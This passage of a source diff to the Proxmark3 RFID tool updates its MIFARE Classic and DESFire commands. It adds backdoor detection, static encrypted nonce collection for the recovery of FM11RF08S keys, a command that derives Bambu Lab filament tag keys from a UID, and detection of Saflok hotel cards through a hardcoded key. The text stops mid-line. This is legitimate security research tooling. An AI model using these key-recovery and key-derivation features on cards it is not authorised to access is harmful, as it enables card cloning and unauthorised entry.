"\x88\x04\x00\x47", 4) == 0) { - PrintAndLogEx(SUCCESS, "NXP MF1ICS5006"); - } else if (card.sak == 0x09 && memcmp(blockdata + 5, "\x89\x04\x00\x47", 4) == 0) { - PrintAndLogEx(SUCCESS, "NXP MF1ICS2006"); - } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x48", 4) == 0) { - PrintAndLogEx(SUCCESS, "NXP MF1ICS5007"); - } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\xc0", 4) == 0) { - PrintAndLogEx(SUCCESS, "NXP MF1ICS5035"); - } + } else if (fKeyType == MF_KEY_BD) { + PrintAndLogEx(SUCCESS, _RED_("Unknown card with backdoor")); + PrintAndLogEx(INFO, "Please report details!"); + } else + // other cards + if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x46", 4) == 0) { + PrintAndLogEx(SUCCESS, "NXP MF1ICS5005"); + } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x47", 4) == 0) { + PrintAndLogEx(SUCCESS, "NXP MF1ICS5006"); + } else if (card.sak == 0x09 && memcmp(blockdata + 5, "\x89\x04\x00\x47", 4) == 0) { + PrintAndLogEx(SUCCESS, "NXP MF1ICS2006"); + } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x48", 4) == 0) { + PrintAndLogEx(SUCCESS, "NXP MF1ICS5007"); + } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\xc0", 4) == 0) { + PrintAndLogEx(SUCCESS, "NXP MF1ICS5035"); + } else { + PrintAndLogEx(SUCCESS, "n/a"); + } - if (e_sector[1].foundKey[MF_KEY_A] && (e_sector[1].Key[MF_KEY_A] == 0x2A2C13CC242A)) { - PrintAndLogEx(SUCCESS, "Dorma Kaba SAFLOK detected"); + if (keycnt > 1 && e_sector != NULL && e_sector[1].foundKey[MF_KEY_A] && (e_sector[1].Key[MF_KEY_A] == 0x2A2C13CC242A)) { + PrintAndLogEx(SUCCESS, "dormakaba Saflok detected"); + ParseAndPrintSaflokData(&e_sector[0], &e_sector[1]); } } else { @@ -9653,43 +10528,59 @@ static int CmdHF14AMfInfo(const char *Cmd) { res = detect_classic_static_nonce(); if (res == NONCE_STATIC) { - PrintAndLogEx(SUCCESS, "Static nonce......... " _YELLOW_("yes")); - } - - if (res == NONCE_FAIL && verbose) { - PrintAndLogEx(SUCCESS, "Static nonce......... " _RED_("read failed")); + PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes")); } if (res == NONCE_NORMAL) { // not static res = detect_classic_prng(); - if (res == 1) - PrintAndLogEx(SUCCESS, "Prng................. " _GREEN_("weak")); - else if (res == 0) - PrintAndLogEx(SUCCESS, "Prng................. " _YELLOW_("hard")); - else - PrintAndLogEx(FAILED, "Prng................. " _RED_("fail")); + if (res == 1) { + PrintAndLogEx(SUCCESS, "Prng....... " _GREEN_("weak")); + } else if (res == 0) { + PrintAndLogEx(SUCCESS, "Prng....... " _YELLOW_("hard")); + } else { + PrintAndLogEx(FAILED, "Prng........ " _RED_("fail")); + } + bool tested_static_nonce = false; + int result_static_nonce = 0; // detect static encrypted nonce if (keylen == MIFARE_KEY_SIZE) { res = detect_classic_static_encrypted_nonce(blockn, keytype, key); if (res == NONCE_STATIC) { - PrintAndLogEx(SUCCESS, "Static nonce......... " _YELLOW_("yes")); - fKeyType = 0xFF; // dont detect twice - } - if (res == NONCE_STATIC_ENC) { - PrintAndLogEx(SUCCESS, "Static enc nonce..... " _RED_("yes")); + PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes")); + fKeyType = 0xFF; // dont detect twice + } else if (res == NONCE_SUPERSTATIC) { + PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes, even when nested")); + fKeyType = 0xFF; // dont detect twice + } else if (res == NONCE_STATIC_ENC) { + PrintAndLogEx(SUCCESS, "Static enc nonce... " _RED_("yes")); fKeyType = 0xFF; // dont detect twice } + result_static_nonce = res; + tested_static_nonce = true; } if (fKeyType != 0xFF) { res = detect_classic_static_encrypted_nonce(0, fKeyType, fkey); - if (res == NONCE_STATIC) - PrintAndLogEx(SUCCESS, "Static nonce......... " _YELLOW_("yes")); - if (res == NONCE_STATIC_ENC) - PrintAndLogEx(SUCCESS, "Static enc nonce..... " _RED_("yes")); + if (res == NONCE_STATIC) { + PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes")); + } else if (res == NONCE_SUPERSTATIC) { + PrintAndLogEx(SUCCESS, "Static nonce... " _YELLOW_("yes, even when nested")); + } else if (res == NONCE_STATIC_ENC) { + PrintAndLogEx(SUCCESS, "Static enc nonce... " _RED_("yes")); + } + result_static_nonce = res; + tested_static_nonce = true; + } + if (tested_static_nonce) { + if ((result_static_nonce == NONCE_STATIC_ENC) && (!expect_static_enc_nonce)) { + PrintAndLogEx(WARNING, "Static enc nonce detected on a card not supposed to support it, please report... "); + } + if ((result_static_nonce != NONCE_STATIC_ENC) && (expect_static_enc_nonce)) { + PrintAndLogEx(WARNING, "Static enc nonce not detected on a card supposed to support it, please report... "); + } } if (do_nack_test) { @@ -9697,6 +10588,11 @@ static int CmdHF14AMfInfo(const char *Cmd) { } } + if (res == NONCE_STATIC_ENC) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("script run fm11rf08s_recovery.py") "`"); + } + +out: if (setDeviceDebugLevel(dbg_curr, false) != PM3_SUCCESS) { return PM3_EFAILED; } @@ -9740,6 +10636,8 @@ static int CmdHF14AMfISEN(const char *Cmd) { arg_rem("FM11RF08S specific options:", "Incompatible with above options, except -k; output in JSON"), arg_lit0(NULL, "collect_fm11rf08s", "collect all nT/{nT}/par_err."), arg_lit0(NULL, "collect_fm11rf08s_with_data", "collect all nT/{nT}/par_err and data blocks."), + arg_lit0(NULL, "collect_fm11rf08s_without_backdoor", "collect all nT/{nT}/par_err without backdoor. Requires first auth keytype and block"), + arg_str0("f", "file", "", "Specify a filename for collected data"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -9810,6 +10708,19 @@ static int CmdHF14AMfISEN(const char *Cmd) { if (collect_fm11rf08s_with_data) { collect_fm11rf08s = 1; } + bool collect_fm11rf08s_without_backdoor = arg_get_lit(ctx, 23); + if (collect_fm11rf08s_without_backdoor) { + collect_fm11rf08s = 1; + } + if (collect_fm11rf08s_with_data && collect_fm11rf08s_without_backdoor) { + CLIParserFree(ctx); + PrintAndLogEx(WARNING, "Don't mix with_data and without_backdoor options"); + return PM3_EINVARG; + } + int fnlen = 0; + char filename[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 24), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + CLIParserFree(ctx); uint8_t dbg_curr = DBG_NONE; @@ -9856,66 +10767,69 @@ static int CmdHF14AMfISEN(const char *Cmd) { } if (collect_fm11rf08s) { - uint32_t flags = collect_fm11rf08s_with_data; - SendCommandMIX(CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES, flags, 0, 0, key, sizeof(key)); - if (WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_ENCRYPTED_NONCE, &resp, 1000)) { - if (resp.status == PM3_ESOFT) { + uint64_t t1 = msclock(); + uint32_t flags = collect_fm11rf08s_with_data | (collect_fm11rf08s_without_backdoor << 1); + SendCommandMIX(CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES, flags, blockn, keytype, key, sizeof(key)); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500)) { + if (resp.oldarg[0] != PM3_SUCCESS) { return NONCE_FAIL; } + } else { + PrintAndLogEx(WARNING, "Fail, transfer from device time-out"); + return PM3_ETIMEOUT; } uint8_t num_sectors = MIFARE_1K_MAXSECTOR + 1; - PrintAndLogEx(NORMAL, "[\n ["); + iso14a_fm11rf08s_nonces_with_data_t nonces_dump = {0}; for (uint8_t sec = 0; sec < num_sectors; sec++) { - PrintAndLogEx(NORMAL, " [\"%08x\", \"%08x\"]%s", - (uint32_t) bytes_to_num(resp.data.asBytes + ((sec * 2) * 9), 4), - (uint32_t) bytes_to_num(resp.data.asBytes + (((sec * 2) + 1) * 9), 4), - sec < num_sectors - 1 ? "," : ""); + // reconstruct full nt + uint32_t nt; + nt = bytes_to_num(resp.data.asBytes + ((sec * 2) * 8), 2); + nt = nt << 16 | prng_successor(nt, 16); + num_to_bytes(nt, 4, nonces_dump.nt[sec][0]); + nt = bytes_to_num(resp.data.asBytes + (((sec * 2) + 1) * 8), 2); + nt = nt << 16 | prng_successor(nt, 16); + num_to_bytes(nt, 4, nonces_dump.nt[sec][1]); } - PrintAndLogEx(NORMAL, " ],\n ["); for (uint8_t sec = 0; sec < num_sectors; sec++) { - PrintAndLogEx(NORMAL, " [\"%08x\", \"%08x\"]%s", - (uint32_t) bytes_to_num(resp.data.asBytes + ((sec * 2) * 9) + 4, 4), - (uint32_t) bytes_to_num(resp.data.asBytes + (((sec * 2) + 1) * 9) + 4, 4), - sec < num_sectors - 1 ? "," : ""); + memcpy(nonces_dump.nt_enc[sec][0], resp.data.asBytes + ((sec * 2) * 8) + 4, 4); + memcpy(nonces_dump.nt_enc[sec][1], resp.data.asBytes + (((sec * 2) + 1) * 8) + 4, 4); } - PrintAndLogEx(NORMAL, " ],\n ["); for (uint8_t sec = 0; sec < num_sectors; sec++) { - uint8_t p0 = resp.data.asBytes[((sec * 2) * 9) + 8]; - uint8_t p1 = resp.data.asBytes[(((sec * 2) + 1) * 9) + 8]; - PrintAndLogEx(NORMAL, " [\"%i%i%i%i\", \"%i%i%i%i\"]%s", - (p0 >> 3) & 1, (p0 >> 2) & 1, (p0 >> 1) & 1, p0 & 1, - (p1 >> 3) & 1, (p1 >> 2) & 1, (p1 >> 1) & 1, p1 & 1, - sec < num_sectors - 1 ? "," : ""); + nonces_dump.par_err[sec][0] = resp.data.asBytes[((sec * 2) * 8) + 2]; + nonces_dump.par_err[sec][1] = resp.data.asBytes[(((sec * 2) + 1) * 8) + 2]; } if (collect_fm11rf08s_with_data) { - PrintAndLogEx(NORMAL, " ],\n ["); - int bytes = MIFARE_1K_MAXSECTOR * 4 * 16; + int bytes = MIFARE_1K_MAXBLOCK * MFBLOCK_SIZE; uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EFAILED; } - if (!GetFromDevice(BIG_BUF_EML, dump, bytes, 0, NULL, 0, NULL, 2500, false)) { + if (GetFromDevice(BIG_BUF_EML, dump, bytes, 0, NULL, 0, NULL, 2500, false) == false) { PrintAndLogEx(WARNING, "Fail, transfer from device time-out"); free(dump); return PM3_ETIMEOUT; } - for (uint8_t sec = 0; sec < MIFARE_1K_MAXSECTOR; sec++) { - for (uint8_t b = 0; b < 4; b++) { - PrintAndLogEx(NORMAL, " \"%s\"%s", - sprint_hex_inrow(dump + ((sec * 4) + b) * 16, 16), - (sec == MIFARE_1K_MAXSECTOR - 1) && (b == 3) ? "" : ","); - } + for (uint8_t blk = 0; blk < MIFARE_1K_MAXBLOCK; blk++) { + memcpy(nonces_dump.blocks[blk], dump + blk * MFBLOCK_SIZE, MFBLOCK_SIZE); } free(dump); } - PrintAndLogEx(NORMAL, " ]\n]"); + t1 = msclock() - t1; + PrintAndLogEx(SUCCESS, "time: " _YELLOW_("%" PRIu64) " ms", t1); + + if (fnlen == 0) { + snprintf(filename, sizeof(filename), "hf-mf-%s-nonces%s", sprint_hex_inrow(card.uid, card.uidlen), collect_fm11rf08s_with_data ? "_with_data" : ""); + } + if (pm3_save_fm11rf08s_nonces(filename, &nonces_dump, collect_fm11rf08s_with_data) != PM3_SUCCESS) { + return PM3_EFAILED; + } return PM3_SUCCESS; } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("ISO14443-a Information") " ---------------------"); + PrintAndLogEx(INFO, "--- " _CYAN_("ISO14443-a Information") " -----------------------------"); PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(card.uid, card.uidlen)); PrintAndLogEx(SUCCESS, "ATQA: " _GREEN_("%02X %02X"), card.atqa[1], card.atqa[0]); PrintAndLogEx(SUCCESS, " SAK: " _GREEN_("%02X [%" PRIu64 "]"), card.sak, resp.oldarg[0]); @@ -9926,10 +10840,17 @@ static int CmdHF14AMfISEN(const char *Cmd) { } int res = detect_classic_static_encrypted_nonce_ex(blockn, keytype, key, blockn_nested, keytype_nested, key_nested, nr_nested, reset, hardreset, addread, addauth, incblk2, corruptnrar, corruptnrarparity, true); - if (res == NONCE_STATIC) - PrintAndLogEx(SUCCESS, "Static nonce......... " _YELLOW_("yes")); - if (res == NONCE_STATIC_ENC) - PrintAndLogEx(SUCCESS, "Static enc nonce..... " _RED_("yes")); + if (res == NONCE_STATIC) { + PrintAndLogEx(SUCCESS, "Static nonce....... " _YELLOW_("yes")); + } else if (res == NONCE_SUPERSTATIC) { + PrintAndLogEx(SUCCESS, "Static nonce....... " _YELLOW_("yes, even when nested")); + } else if (res == NONCE_STATIC_ENC) { + PrintAndLogEx(SUCCESS, "Static enc nonce... " _RED_("yes")); + } + + if (res == NONCE_STATIC_ENC) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("script run fm11rf08s_recovery.py") "`"); + } if (setDeviceDebugLevel(dbg_curr, false) != PM3_SUCCESS) { return PM3_EFAILED; @@ -9939,12 +10860,68 @@ static int CmdHF14AMfISEN(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14AMfBambuKeys(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf mf bambukeys", + "Generate keys for a Bambu Lab filament tag", + "hf mf bambukeys -r\n" + "hf mf bambukeys -r -d\n" + "hf mf bambukeys -u 11223344\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0("u", "uid", "", "UID (4 hex bytes)"), + arg_lit0("r", NULL, "Read UID from tag"), + arg_lit0("d", NULL, "Dump keys to file"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + int u_len = 0; + uint8_t uid[7] = {0x00}; + CLIGetHexWithReturn(ctx, 1, uid, &u_len); + bool use_tag = arg_get_lit(ctx, 2); + bool dump_keys = arg_get_lit(ctx, 3); + CLIParserFree(ctx); + + if (use_tag) { + // read uid from tag + int res = mf_read_uid(uid, &u_len, NULL); + if (res != PM3_SUCCESS) { + return res; + } + } + + if (u_len != 4) { + PrintAndLogEx(WARNING, "Key must be 4 hex bytes"); + return PM3_EINVARG; + } + + PrintAndLogEx(INFO, "-----------------------------------"); + PrintAndLogEx(INFO, " UID 4b... " _YELLOW_("%s"), sprint_hex(uid, 4)); + PrintAndLogEx(INFO, "-----------------------------------"); + + uint8_t keys[32 * 6]; + mfc_algo_bambu_all(uid, (void *)keys); + + for (int block = 0; block < 32; block++) { + PrintAndLogEx(INFO, "%d: %012" PRIX64, block, bytes_to_num(keys + (block * 6), 6)); + } + + if (dump_keys) { + char fn[FILE_PATH_SIZE] = {0}; + snprintf(fn, sizeof(fn), "hf-mf-%s-key", sprint_hex_inrow(uid, 4)); + saveFileEx(fn, ".bin", keys, 32 * 6, spDump); + } + + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"list", CmdHF14AMfList, AlwaysAvailable, "List MIFARE history"}, {"-----------", CmdHelp, IfPm3Iso14443a, "----------------------- " _CYAN_("recovery") " -----------------------"}, - {"info", CmdHF14AMfInfo, IfPm3Iso14443a, "mfc card Info"}, - {"isen", CmdHF14AMfISEN, IfPm3Iso14443a, "mfc card Info Static Encrypted Nonces"}, {"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack"}, {"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack"}, {"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened MIFARE Classic cards"}, @@ -9957,10 +10934,13 @@ static command_t CommandTable[] = { {"fchk", CmdHF14AMfChk_fast, IfPm3Iso14443a, "Check keys fast, targets all keys on card"}, {"decrypt", CmdHf14AMfDecryptBytes, AlwaysAvailable, "Decrypt Crypto1 data from sniff or trace"}, {"supercard", CmdHf14AMfSuperCard, IfPm3Iso14443a, "Extract info from a `super card`"}, + {"bambukeys", CmdHF14AMfBambuKeys, AlwaysAvailable, "Generate key table for Bambu Lab filament tag"}, {"-----------", CmdHelp, IfPm3Iso14443a, "----------------------- " _CYAN_("operations") " -----------------------"}, {"auth4", CmdHF14AMfAuth4, IfPm3Iso14443a, "ISO14443-4 AES authentication"}, {"acl", CmdHF14AMfAcl, AlwaysAvailable, "Decode and print MIFARE Classic access rights bytes"}, {"dump", CmdHF14AMfDump, IfPm3Iso14443a, "Dump MIFARE Classic tag to binary file"}, + {"info", CmdHF14AMfInfo, IfPm3Iso14443a, "Tag information"}, + {"isen", CmdHF14AMfISEN, IfPm3Iso14443a, "Information Static Encrypted Nonces"}, {"mad", CmdHF14AMfMAD, AlwaysAvailable, "Checks and prints MAD"}, {"personalize", CmdHFMFPersonalize, IfPm3Iso14443a, "Personalize UID (MIFARE Classic EV1 only)"}, {"rdbl", CmdHF14AMfRdBl, IfPm3Iso14443a, "Read MIFARE Classic block"}, @@ -9996,7 +10976,7 @@ static command_t CommandTable[] = { {"gen3blk", CmdHf14AGen3Block, IfPm3Iso14443a, "Overwrite manufacturer block"}, {"gen3freeze", CmdHf14AGen3Freeze, IfPm3Iso14443a, "Perma lock UID changes. irreversible"}, {"-----------", CmdHelp, IfPm3Iso14443a, "-------------------- " _CYAN_("magic gen4 GTU") " --------------------------"}, - {"ginfo", CmdHF14AGen4Info, IfPm3Iso14443a, "Info about configuration of the card"}, + {"ginfo", CmdHF14AGen4Info, AlwaysAvailable, "Info about configuration of the card"}, {"ggetblk", CmdHF14AGen4GetBlk, IfPm3Iso14443a, "Read block from card"}, {"gload", CmdHF14AGen4Load, IfPm3Iso14443a, "Load dump to card"}, {"gsave", CmdHF14AGen4Save, IfPm3Iso14443a, "Save dump from card into file or emulator"}, @@ -10009,7 +10989,6 @@ static command_t CommandTable[] = { {"gdmparsecfg", CmdHF14AGen4_GDM_ParseCfg, AlwaysAvailable, "Parse config block to card"}, {"gdmsetblk", CmdHF14AGen4_GDM_SetBlk, IfPm3Iso14443a, "Write block to card"}, {"-----------", CmdHelp, IfPm3Iso14443a, "----------------------- " _CYAN_("ndef") " -----------------------"}, -// {"ice", CmdHF14AMfice, IfPm3Iso14443a, "collect MIFARE Classic nonces to file"}, {"ndefformat", CmdHFMFNDEFFormat, IfPm3Iso14443a, "Format MIFARE Classic Tag as NFC Tag"}, {"ndefread", CmdHFMFNDEFRead, IfPm3Iso14443a, "Read and print NDEF records from card"}, {"ndefwrite", CmdHFMFNDEFWrite, IfPm3Iso14443a, "Write NDEF records to card"}, diff --git a/client/src/cmdhfmf.h b/client/src/cmdhfmf.h index 4e92bca70..ff1695341 100644 --- a/client/src/cmdhfmf.h +++ b/client/src/cmdhfmf.h @@ -25,7 +25,6 @@ int CmdHFMF(const char *Cmd); int CmdHF14AMfELoad(const char *Cmd); // used by "hf mfu eload" -int CmdHF14AMfDbg(const char *Cmd); // used by "hf mfu dbg" int CmdHFMFNDEFRead(const char *Cmd); // used by "nfc mf cread" int CmdHFMFNDEFFormat(const char *Cmd); // used by "nfc mf cformat" int CmdHFMFNDEFWrite(const char *Cmd); // used by "nfc mf cwrite" @@ -36,9 +35,13 @@ void printKeyTable(size_t sectorscnt, sector_t *e_sector); void printKeyTableEx(size_t sectorscnt, sector_t *e_sector, uint8_t start_sector); // void printKeyTableEx(size_t sectorscnt, sector_t *e_sector, uint8_t start_sector, bool singel_sector); + bool mfc_value(const uint8_t *d, int32_t *val); void mf_print_sector_hdr(uint8_t sector); void mf_print_block_one(uint8_t blockno, uint8_t *d, bool verbose); +int mf_print_keys(uint16_t n, uint8_t *d); +void mf_print_blocks(uint16_t n, uint8_t *d, bool verbose); + int mfc_ev1_print_signature(uint8_t *uid, uint8_t uidlen, uint8_t *signature, int signature_len); #endif diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index 6002aa837..b13989119 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -45,6 +45,7 @@ #include "generator.h" #include "mifare/aiddesfire.h" #include "util.h" +#include "crypto/originality.h" #define MAX_KEY_LEN 24 #define MAX_KEYS_LIST_LEN 1024 @@ -88,15 +89,6 @@ typedef struct mfdes_data { uint8_t *data; } PACKED mfdes_data_t; -typedef struct mfdes_info_res { - uint8_t isOK; - uint8_t uid[7]; - uint8_t uidlen; - uint8_t versionHW[7]; - uint8_t versionSW[7]; - uint8_t details[14]; -} PACKED mfdes_info_res_t; - typedef struct mfdes_value { uint8_t fileno; //01 uint8_t value[16]; @@ -135,20 +127,6 @@ typedef enum { MFDES_VALUE_FILE } MFDES_FILE_TYPE_T; -typedef enum { - DESFIRE_UNKNOWN = 0, - DESFIRE_MF3ICD40, - DESFIRE_EV1, - DESFIRE_EV2, - DESFIRE_EV2_XL, - DESFIRE_EV3, - DESFIRE_LIGHT, - PLUS_EV1, - PLUS_EV2, - NTAG413DNA, - NTAG424, -} nxp_cardtype_t; - typedef enum { DESFIRE_UNKNOWN_PROD = 0, DESFIRE_PHYSICAL, @@ -173,14 +151,26 @@ typedef struct aidhdr { } PACKED aidhdr_t; typedef struct { + const uint32_t aidnum; const char *aid; const char *comment; } mfdesCommonAID_t; +/* +PACS application id(s) - HID Factory, CP1000 Standard, Mobile, Custom and Elite +We have HID Factory, Field Encoder == CP1000 (?) +No mobile, Custom or Elite +*/ + static const mfdesCommonAID_t commonAids[] = { - // AID, name/comment - { "\xf4\x81\x2f", "Gallagher card data application" }, - { "\xf4\x81\x20", "Gallagher card application directory" }, // Can be 0xF48120 - 0xF4812B, but I've only ever seen 0xF48120 + { 0x53494F, "\x53\x49\x4F", "SIO DESFire EV1 - HID Factory" }, + { 0xD3494F, "\xD3\x49\x4F", "SIO DESFire EV1 - Field Encoder" }, + { 0xD9494F, "\xD9\x49\x4F", "SIO DESFire EV1 - Field Encoder" }, + { 0xF484E3, "\xF4\x84\xE3", "SE Enhanced" }, + { 0xF484E4, "\xF4\x84\xE4", "SE Enhanced" }, + { 0xF4812F, "\xf4\x81\x2f", "Gallagher card data application" }, + { 0xF48120, "\xf4\x81\x20", "Gallagher card application directory" }, // Can be 0xF48120 - 0xF4812B, but I've only ever seen 0xF48120 + { 0xF47300, "\xf4\x73\x00", "Inner Range card application" }, }; static int CmdHelp(const char *Cmd); @@ -248,7 +238,7 @@ static char *getProtocolStr(uint8_t id, bool hw) { static char *getVersionStr(uint8_t type, uint8_t major, uint8_t minor) { - static char buf[40] = {0x00}; + static char buf[60] = {0x00}; char *retStr = buf; if (type == 0x01 && major == 0x00) @@ -265,12 +255,18 @@ static char *getVersionStr(uint8_t type, uint8_t major, uint8_t minor) { snprintf(retStr, sizeof(buf), "%x.%x ( " _GREEN_("DESFire EV2") " )", major, minor); else if (type == 0x01 && major == 0x33 && minor == 0x00) snprintf(retStr, sizeof(buf), "%x.%x ( " _GREEN_("DESFire EV3") " )", major, minor); + else if (type == 0x81 && major == 0x43 && minor == 0x01) + snprintf(retStr, sizeof(buf), "%x.%x ( " _GREEN_("DESFire EV3C implementation on P71D600") " )", major, minor); // Swisskey iShield Key else if (type == 0x01 && major == 0x30 && minor == 0x00) snprintf(retStr, sizeof(buf), "%x.%x ( " _GREEN_("DESFire Light") " )", major, minor); else if (type == 0x02 && major == 0x11 && minor == 0x00) snprintf(retStr, sizeof(buf), "%x.%x ( " _GREEN_("Plus EV1") " )", major, minor); else if (type == 0x02 && major == 0x22 && minor == 0x00) snprintf(retStr, sizeof(buf), "%x.%x ( " _GREEN_("Plus EV2") " )", major, minor); + else if (type == 0x01 && major == 0xA0 && minor == 0x00) + snprintf(retStr, sizeof(buf), "%x.%x ( " _GREEN_("DUOX") " )", major, minor); + else if ((type & 0x08) == 0x08) + snprintf(retStr, sizeof(buf), "%x.%x ( " _GREEN_("DESFire Light") " )", major, minor); else snprintf(retStr, sizeof(buf), "%x.%x ( " _YELLOW_("Unknown") " )", major, minor); return buf; @@ -305,18 +301,16 @@ static char *getTypeStr(uint8_t type) { return buf; } - -static char noCommentStr[1] = { 0x00 }; -static const char *getAidCommentStr(uint8_t *aid) { +static const char *getAidCommentStr(uint32_t aid) { for (int i = 0; i < ARRAYLEN(commonAids); i++) { - if (memcmp(aid, commonAids[i].aid, 3) == 0) { + if (aid == commonAids[i].aidnum) { return commonAids[i].comment; } } - return noCommentStr; + return ""; } -static nxp_cardtype_t getCardType(uint8_t type, uint8_t major, uint8_t minor) { +nxp_cardtype_t getCardType(uint8_t type, uint8_t major, uint8_t minor) { // DESFire MF3ICD40 if (type == 0x01 && major == 0x00 && minor == 0x02) @@ -337,6 +331,13 @@ static nxp_cardtype_t getCardType(uint8_t type, uint8_t major, uint8_t minor) { if (type == 0x01 && major == 0x33 && minor == 0x00) return DESFIRE_EV3; + if (type == 0x81 && major == 0x43 && minor == 0x01) + return DESFIRE_EV3; + + // Duox + if (type == 0x01 && major == 0xA0 && minor == 0x00) + return DUOX; + // DESFire Light if (type == 0x08 && major == 0x30 && minor == 0x00) return DESFIRE_LIGHT; @@ -345,6 +346,10 @@ static nxp_cardtype_t getCardType(uint8_t type, uint8_t major, uint8_t minor) { if (type == 0x81 && major == 0x42 && minor == 0x00) return DESFIRE_EV2; + // Apple Wallet DESFire Applet + if (type == 0x91 && major == 0x62 && minor == 0x01) + return DESFIRE_EV2; + // Plus EV1 if (type == 0x02 && major == 0x11 && minor == 0x00) return PLUS_EV1; @@ -361,13 +366,13 @@ static nxp_cardtype_t getCardType(uint8_t type, uint8_t major, uint8_t minor) { if (type == 0x04 && major == 0x30 && minor == 0x00) return NTAG424; - return DESFIRE_UNKNOWN; + return NXP_UNKNOWN; } // ref: https://www.nxp.com/docs/en/application-note/AN12343.pdf p7 static nxp_producttype_t getProductType(const uint8_t *versionhw) { - uint8_t product = versionhw[2]; + uint8_t product = versionhw[1]; if (product == 0x01) return DESFIRE_PHYSICAL; @@ -384,7 +389,7 @@ static nxp_producttype_t getProductType(const uint8_t *versionhw) { static const char *getProductTypeStr(const uint8_t *versionhw) { - uint8_t product = versionhw[2]; + uint8_t product = versionhw[1]; if (product == 0x01) return "MIFARE DESFire native IC (physical card)"; @@ -399,12 +404,12 @@ static const char *getProductTypeStr(const uint8_t *versionhw) { return "UNKNOWN PROD"; } -static int mfdes_get_info(mfdes_info_res_t *info) { +int mfdes_get_info(mfdes_info_res_t *info) { PacketResponseNG resp; SendCommandNG(CMD_HF_DESFIRE_INFO, NULL, 0); if (WaitForResponseTimeout(CMD_HF_DESFIRE_INFO, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); DropField(); return PM3_ETIMEOUT; } @@ -435,72 +440,22 @@ static int mfdes_get_info(mfdes_info_res_t *info) { int desfire_print_signature(uint8_t *uid, uint8_t uidlen, uint8_t *signature, size_t signature_len) { if (uid == NULL) { - PrintAndLogEx(DEBUG, "UID=NULL"); + PrintAndLogEx(DEBUG, "UID is NULL"); return PM3_EINVARG; } if (signature == NULL) { - PrintAndLogEx(DEBUG, "SIGNATURE=NULL"); + PrintAndLogEx(DEBUG, "SIGNATURE is NULL"); return PM3_EINVARG; } - // ref: MIFARE Desfire Originality Signature Validation - // See tools/recover_pk.py to recover Pk from UIDs and signatures -#define PUBLIC_DESFIRE_ECDA_KEYLEN 57 - const ecdsa_publickey_t nxp_desfire_public_keys[] = { - {"NTAG424DNA, DESFire Ev2", "048A9B380AF2EE1B98DC417FECC263F8449C7625CECE82D9B916C992DA209D68422B81EC20B65A66B5102A61596AF3379200599316A00A1410"}, - {"NTAG413DNA, DESFire Ev1", "04BB5D514F7050025C7D0F397310360EEC91EAF792E96FC7E0F496CB4E669D414F877B7B27901FE67C2E3B33CD39D1C797715189AC951C2ADD"}, - {"DESFire Ev2", "04B304DC4C615F5326FE9383DDEC9AA892DF3A57FA7FFB3276192BC0EAA252ED45A865E3B093A3D0DCE5BE29E92F1392CE7DE321E3E5C52B3A"}, - {"DESFire Ev3", "041DB46C145D0A36539C6544BD6D9B0AA62FF91EC48CBC6ABAE36E0089A46F0D08C8A715EA40A63313B92E90DDC1730230E0458A33276FB743"}, - {"NTAG424DNA, NTAG424DNATT, DESFire Light Ev2", "04B304DC4C615F5326FE9383DDEC9AA892DF3A57FA7FFB3276192BC0EAA252ED45A865E3B093A3D0DCE5BE29E92F1392CE7DE321E3E5C52B3B"}, - {"DESFire Light", "040E98E117AAA36457F43173DC920A8757267F44CE4EC5ADD3C54075571AEBBF7B942A9774A1D94AD02572427E5AE0A2DD36591B1FB34FCF3D"}, - {"MIFARE Plus Ev1", "044409ADC42F91A8394066BA83D872FB1D16803734E911170412DDF8BAD1A4DADFD0416291AFE1C748253925DA39A5F39A1C557FFACD34C62E"}, - {"MIFARE Plus Ev2", "04BB49AE4447E6B1B6D21C098C1538B594A11A4A1DBF3D5E673DEACDEB3CC512D1C08AFA1A2768CE20A200BACD2DC7804CD7523A0131ABF607"}, - {"DESFire Ev2 XL", "04CD5D45E50B1502F0BA4656FF37669597E7E183251150F9574CC8DA56BF01C7ABE019E29FEA48F9CE22C3EA4029A765E1BC95A89543BAD1BC"}, - {"MIFARE Plus Troika", 